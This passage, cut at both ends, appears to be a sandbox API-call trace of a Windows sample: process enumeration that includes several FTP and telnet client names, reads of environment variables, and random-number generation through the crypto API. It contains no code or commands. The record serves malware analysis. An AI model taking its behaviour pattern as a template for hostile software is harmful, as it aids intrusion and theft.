szExeFile="audiodg.exe")) returned 1 [0040.947] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.948] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.948] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0040.949] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0040.949] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0040.950] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0040.950] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.014] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0041.015] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.015] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.016] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0041.016] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="functionality-complimentary-planner.exe")) returned 1 [0041.017] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trim.exe")) returned 1 [0041.017] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="performer_dan_matt.exe")) returned 1 [0041.018] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="letters.exe")) returned 1 [0041.018] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives-baths.exe")) returned 1 [0041.019] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jjcorrelation.exe")) returned 1 [0041.019] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="changelogthreadalbuquerque.exe")) returned 1 [0041.020] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="configuringlisa.exe")) returned 1 [0041.020] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="terrace.exe")) returned 1 [0041.021] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="temporal-spine.exe")) returned 1 [0041.021] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x764, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="softwarehelenaestimates.exe")) returned 1 [0041.022] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="freight_bradley_website.exe")) returned 1 [0041.022] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vaccine.exe")) returned 1 [0041.023] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-nasa-deaths.exe")) returned 1 [0041.023] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="hull grammar candles.exe")) returned 1 [0041.024] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0041.024] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0041.025] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0041.025] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0041.026] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0041.026] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0041.027] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0041.920] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d4 [0041.925] Process32FirstW (in: hSnapshot=0x2d4, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0042.962] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x294 [0042.968] Process32FirstW (in: hSnapshot=0x294, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0044.399] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x294 [0044.406] Process32FirstW (in: hSnapshot=0x294, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0045.087] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x148 [0045.092] Process32FirstW (in: hSnapshot=0x148, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0045.666] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x320 [0045.777] Process32FirstW (in: hSnapshot=0x320, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0046.997] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x310 [0047.002] Process32FirstW (in: hSnapshot=0x310, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0047.628] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x310 [0047.633] Process32FirstW (in: hSnapshot=0x310, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0048.363] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x310 [0048.368] Process32FirstW (in: hSnapshot=0x310, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0051.091] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f0 [0051.099] Process32FirstW (in: hSnapshot=0x2f0, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0051.867] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x294 [0051.872] Process32FirstW (in: hSnapshot=0x294, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0052.402] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2b0 [0052.407] Process32FirstW (in: hSnapshot=0x2b0, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0052.932] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) [0052.932] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x318 [0052.937] Process32FirstW (in: hSnapshot=0x318, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0053.531] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x29c [0053.537] Process32FirstW (in: hSnapshot=0x29c, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0054.159] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d4 [0054.164] Process32FirstW (in: hSnapshot=0x2d4, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0054.702] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d4 [0054.707] Process32FirstW (in: hSnapshot=0x2d4, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0055.251] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d4 [0055.257] Process32FirstW (in: hSnapshot=0x2d4, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0056.123] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x294 [0056.129] Process32FirstW (in: hSnapshot=0x294, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0056.660] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x148 [0056.665] Process32FirstW (in: hSnapshot=0x148, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0057.115] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x148 [0057.120] Process32FirstW (in: hSnapshot=0x148, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0085.066] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2b0 [0085.085] Process32FirstW (in: hSnapshot=0x2b0, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 Thread: id = 40 os_tid = 0x5dc [0033.392] GetLastError () returned 0x57 [0033.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x364) returned 0x55f638 [0033.392] SetLastError (dwErrCode=0x57) [0033.392] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0033.392] GetLastError () returned 0x57 [0033.392] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0033.392] LoadLibraryExW (lpLibFileName="ext-ms-win-kernel32-package-current-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0033.392] GetLastError () returned 0x57 [0033.393] LoadLibraryExW (lpLibFileName="ext-ms-win-kernel32-package-current-l1-1-0", hFile=0x0, dwFlags=0x0) returned 0x0 [0033.393] GetCurrentThreadId () returned 0x5dc [0033.393] GetCurrentThreadId () returned 0x5dc [0033.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb18 [0033.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x54f148 [0033.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x59af78 [0033.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x558608 [0033.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x59a088 [0033.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x558630 [0033.393] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x558608 | out: hHeap=0x540000) returned 1 [0033.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x559378 [0033.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x59a968 [0033.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x59a9a0 [0033.393] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a088 | out: hHeap=0x540000) returned 1 [0033.393] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559378 | out: hHeap=0x540000) returned 1 [0033.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x559378 [0033.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x48) returned 0x5597f8 [0033.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x559848 [0033.393] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a968 | out: hHeap=0x540000) returned 1 [0033.393] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559378 | out: hHeap=0x540000) returned 1 [0033.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x558608 [0033.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x5598a0 [0033.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x558658 [0033.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5597f8 | out: hHeap=0x540000) returned 1 [0033.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x558608 | out: hHeap=0x540000) returned 1 [0033.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20023) returned 0x579f40 [0033.394] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x579f60, nSize=0xffff | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0033.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x559908 [0033.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x559970 [0033.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5598a0 | out: hHeap=0x540000) returned 1 [0033.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x5598a0 [0033.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x559a08 [0033.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd8) returned 0x55f9a8 [0033.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559970 | out: hHeap=0x540000) returned 1 [0033.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x559378 [0033.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x559970 [0033.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x55fa88 [0033.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x138) returned 0x55fae0 [0033.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55f9a8 | out: hHeap=0x540000) returned 1 [0033.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x55f9a8 [0033.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x55fa00 [0033.394] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x235fcbc, nSize=0x32 | out: lpBuffer="C:") returned 0x2 [0033.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x558608 [0033.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x558680 [0033.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c8) returned 0x55fc20 [0033.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55fae0 | out: hHeap=0x540000) returned 1 [0033.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5586a8 [0033.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x59a968 [0033.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5586d0 [0033.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579f40 | out: hHeap=0x540000) returned 1 [0033.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x5573c0 [0033.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x55fae0 [0033.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5573c0 | out: hHeap=0x540000) returned 1 [0033.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x124fa3) returned 0x2460020 [0033.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x55fdf0 [0033.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x130) returned 0x560008 [0033.398] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5586f8 [0033.398] CryptAcquireContextA (in: phProv=0x235fcb8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x235fcb8*=0x55fb48) returned 1 [0033.427] RtlWakeAllConditionVariable () returned 0x0 [0033.427] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb38 [0033.427] CryptAcquireContextA (in: phProv=0x55bb38, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x55bb38*=0x561dd0) returned 1 [0033.428] CryptGenRandom (in: hProv=0x561dd0, dwLen=0x20, pbBuffer=0x5586f8 | out: pbBuffer=0x5586f8) returned 1 [0033.428] CryptReleaseContext (hProv=0x55fb48, dwFlags=0x0) returned 1 [0033.429] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5586f8 | out: hHeap=0x540000) returned 1 [0033.429] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5586f8 [0033.430] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x561fe0 [0033.430] QueryPerformanceCounter (in: lpPerformanceCount=0x235fc10 | out: lpPerformanceCount=0x235fc10*=17548319924) returned 1 [0033.612] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x235fc50 | out: 